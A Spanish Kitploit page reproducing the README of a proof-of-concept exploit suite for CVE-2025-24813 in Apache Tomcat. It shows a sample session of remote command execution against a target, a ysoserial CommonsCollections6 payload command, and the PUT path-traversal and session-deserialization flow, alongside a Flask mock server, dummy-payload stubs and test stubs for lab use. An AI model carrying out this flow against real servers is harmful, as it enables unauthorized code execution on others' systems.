POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution — Este repositorio contiene un exploit automatizado desarrollado con fines educativos y de investigación en ciberseguridad, dirigido a demostrar una potencial vulnerabilidad de ejecución remota de código (RCE) en Apache Tomcat (CVE-2025-24813). | Kitploit

⚠️🚀 CVE-2025-24813 — Apache Tomcat RCE Exploitation Suite

⚡ Version: 1.0 🛡️ CVE ID: CVE-2025-24813 (Apache Tomcat RCE) 🧬 Payloads: ysoserial / Java 🌐 Modo: Interactivo + Stealth 🔬 Uso: Ético, Investigativo, Educativo

🌌 Visión General

🔗 [?] Ingresa la URL del objetivo: https://victima.org
💣 [?] Comando a ejecutar: whoami
🧬 [?] Tipo de payload: ysoserial
📂 [?] Ruta a ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] ¿Verificar SSL? (sí/no): no

🚀 Ejecutando...
🧬 WAF detectado... cambiando estrategia
⚙️ Subida del payload en curso...
💥 Confirmación de ejecución remota
✅ Resultado: 'apache'

┌──────────────────────────────┐
│  Modo Interactivo            │
├──────────────────────────────┤
│  Validación de URL           │
│  Detección de sesión         │
│  Detección de WAF            │
│  Generación de payload       │
│  Subida evasiva via PUT      │
│  Verificación de ejecución   │
└──────────────────────────────┘
        ↘ LOGS POR OBJETIVO

POC-Exploit_CVE_2025_24813.py   # Script principal
ysoserial.jar               # Requerido si usas 'ysoserial'
logs/                       # Carpeta de logs individuales por objetivo
payload.ser                 # Payload generado temporalmente
Exploit.java / .class       # Archivos temporales para Java

Descarga el .jar de aquí 👉 https://github.com/frohoff/ysoserial
Guárdalo en el mismo directorio del script o indica la ruta completa cuando te lo pida. Ejemplo:
```
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
```

Instalar Python 3.8+
Instalar librerías:
```
pip install requests colorama etc
```
Instalar Java JDK 8+
```
java -version
javac -version
```
Descargar ysoserial.jar en la carpeta del script.

python3 -m venv .venv
source .venv/bin/activate   # Linux / macOS
.\.venv\Scripts\activate  # Windows (PowerShell/Command Prompt)

pip install -U pip
pip install requests colorama flask

# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify

app = Flask(__name__)
uploads = {}

@app.route('/index.jsp', methods=['GET'])
def index():
    # Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
    resp = make_response('Index page — Session ID: testsession')
    resp.set_cookie('JSESSIONID', 'testsession')
    return resp

@app.route('/check.txt', methods=['PUT'])
def check_put():
    # Simula un recurso escribible
    return ('OK', 200)

@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
    # Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
    uploads[session_id] = True
    return ('Conflict - uploaded', 409)

@app.route('/', methods=['GET'])
def root():
    # Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
    session = request.cookies.get('JSESSIONID')
    if session and uploads.get(session):
        return ('Internal Server Error', 500)
    return ('Hello from mock server', 200)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---


def generate_java_payload(command, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_JAVA_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---

Inicia tu entorno virtual y asegúrate de tener las dependencias instaladas (ver sección Requisitos).
Lanza el mock_server.py:
```
python mock_server.py
```
Crea el payload dummy si no usas SAFE_TEST o éste no crea el payload por ti:
```
echo "DUMMY_PAYLOAD" > payload.ser
```

Activa el modo seguro en la terminal:

export SAFE_TEST=1   # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"

Ejecuta el script principal:
```
python3 tu_script.py
```
Contesta los prompts (usarás valores de laboratorio):
- Enter target URL: http://127.0.0.1:8000
- Enter command to execute: deja por defecto (no será ejecutado en SAFE_TEST)
- Payload type: ysoserial (el script, con SAFE_TEST=1, creará un payload dummy en lugar de invocar herramientas externas)
- Path to ysoserial.jar: (puedes dejar ysoserial.jar — no será usado en modo seguro)
- Verify SSL? no (tu mock usa HTTP)
Observa la salida en consola: deberías ver mensajes Server is writable via PUT, Payload uploaded with status 409 y Exploit succeeded! Server returned 500 after deserialization. — esto es solo en el mock y significa que el flujo lógico del script funciona.
Revisa los logs en logs/ — el script guarda entradas con marcas de tiempo. Por ejemplo logs/127_0_0_1_8000.log (según el nombre de target sanitizado).

# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request

def test_validate_url():
    assert validate_url('http://127.0.0.1:8000')
    assert not validate_url('notaurl')

def test_retry_request_success():
    # usa requests_mock para simular un GET y comprobar retry_request
    pass

POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution

Más Populares

🧠 ¿Qué hace este script?

🛸 Funcionalidades Principales

⚙️ Requisitos

🧪 Modo de Uso

🎯 Ejemplo Visual:

🌈 Arquitectura Visual del Script

🧬 Tipos de Payload

Gadgets comunes:

📁 Estructura del Proyecto

👨‍⚖️ Uso Responsable y Ético

⚖️ Descargo de responsabilidad

🧠 Créditos

🛰️ CVE Referenciado

📜 Licencia

💎 Inspiración Visual

🔧 Dependencias necesarias

1. Python

2. Java

3. Ysoserial

4. Sistema operativo

⚙️ Resumen de instalación

🛡️ README — Tutorial seguro paso a paso

⚠️ Aviso legal y ético (LEER ANTES DE EMPEZAR)

🔍 Qué contiene este tutorial

🧾 Requisitos

🧪 1) Servidor de pruebas (mock) — código seguro

📁 2) Preparar un payload dummy (inofensivo)

⚙️ 3) Añadir un modo seguro (SAFE_TEST) al script original

▶️ 4) Ejecución paso a paso (modo seguro)

🔎 5) Qué comprobar en pruebas

🧪 6) Tests unitarios (recomendación)

❌ Qué NO hacer